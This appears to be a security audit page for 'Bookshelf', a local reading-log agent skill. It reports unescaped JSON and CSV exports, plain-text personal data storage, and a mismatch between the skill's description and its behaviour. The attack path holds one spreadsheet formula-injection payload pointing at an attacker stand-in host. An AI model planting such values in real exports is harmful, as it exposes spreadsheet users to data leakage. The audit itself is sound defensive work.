Back to skill

Security audit

Bookshelf

Security checks for vulnerabilities and agentic risk

Overview

Bookshelf is a disclosed local reading-log tool, but users should treat its saved notes and exports as plain-text personal data.

Install only if you are comfortable with reading notes, reminders, reviews, and exports being stored locally in plain text under ~/.local/share/bookshelf. Avoid entering sensitive personal information, be careful sharing export files, and treat CSV exports from untrusted or copied entries cautiously because spreadsheet apps may interpret formula-like values.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:65
Finding

Unescaped User Input in JSON and CSV Exports

Content
View full analysis
> "$out" printf ' {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out" done < "$f" ``` ```bash echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ``` ### Technical Analysis The export implementation inserts stored, user-controlled values directly into JSON and CSV documents without applying the encoding rules of either format. For JSON exports, quotation marks, backslashes, control characters, and embedded newlines in `$val` are not escaped. A crafted value can therefore produce invalid JSON or alter the apparent structure of the exported document. This creates a data-integrity risk for users or downstream applications that parse the generated file. For CSV exports, fields are neither enclosed in quotation marks nor escaped according to RFC 4180. Commas, quotation marks, and newlines can create additional columns or records. In addition, values beginning with spreadsheet formula indicators such as `=`, `+`, `-`, or `@` are written verbatim. When the CSV is opened in software that evaluates formulas, the value may be interpreted as an active spreadsheet formula rather than inert text. The script does quote shell variables during command invocation, so this issue does not constitute shell command injection into the script itself. ### Attack Path 1. An attacker persuades a user or an automated integration to save an attacker-controlled book entry, for example: ```text =HYPERLINK("https://attacker.invalid/collect","Open book details") ``` Alternatively, t ...[truncated 1477 chars]
Remediation
View remediation
Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (7)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The description presents a specialized reading/library tracker, but the code implements a general-purpose local text logger branded as 'Bookshelf.' While some command names like add, plan, track, review, and stats loosely overlap with the declared use case, the implementation does not manage books, ratings, reading progress, or library entities in any structured way. It simply appends arbitrary input to category-specific log files and offers generic stats/export/search/status features. This is a materially different primary purpose and includes several undeclared productivity-style capabilities unrelated to the stated reading-focused behavior.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
87% confidence
Finding

The skill explicitly stores user-provided reading reviews, plans, reminders, and history in persistent plain-text files under the user's home directory. While expected for this tool, persistent storage can expose sensitive personal data, habits, schedules, or notes to other local users, backups, or malware if file permissions and retention are not controlled.

Content

Scanner excerpt · SKILL.md (reported line 122)May include surrounding context.

Review, report, and archive

bash
# Write a book review
bookshelf review "Atomic Habits — 5/5. Best takeaway: habit stacking. Changed my morning routine."

# Weekly reading review

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The manifest says this skill is for tracking reading progress, rating finished books, and managing a library. However, the exposed commands and storage model are broad generic categories like plan, remind, prioritize, archive, timeline, report, and weekly-review, with no book-specific fields, library records, ratings model, or reading-goal logic; the code behaves as a general-purpose note/log tracker instead of a bookshelf-focused tool.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

Commands such as remind, prioritize, report, weekly-review, and archive expand the skill into a broader personal productivity toolkit. Those capabilities are not an obvious requirement for tracking books, reading progress, reviews, or reading goals, especially since the code stores arbitrary free-form input rather than book-centric data.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The export function aggregates all logged activity into json/csv/txt files on disk without warning the user that this creates a consolidated copy of potentially sensitive notes and behavioral history. Consolidated exports increase exposure because they are easier to share accidentally, ingest by other tools, or recover from backups and temporary handling paths.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

User-provided content is persistently written to local log files under ~/.local/share/bookshelf without an explicit warning, consent flow, retention policy, or sensitivity guidance. In a skill context, users may enter notes, reviews, plans, or other personal content assuming transient handling, which can lead to unintended local exposure to other processes, backups, or shared accounts.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

The file comment says "Bookshelf — productivity tool," and the help output says "Bookshelf v2.0.0 — productivity toolkit." That documentation conflicts with the manifest's claim that the skill is for managing a reading library, tracking reading progress, and rating finished books.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.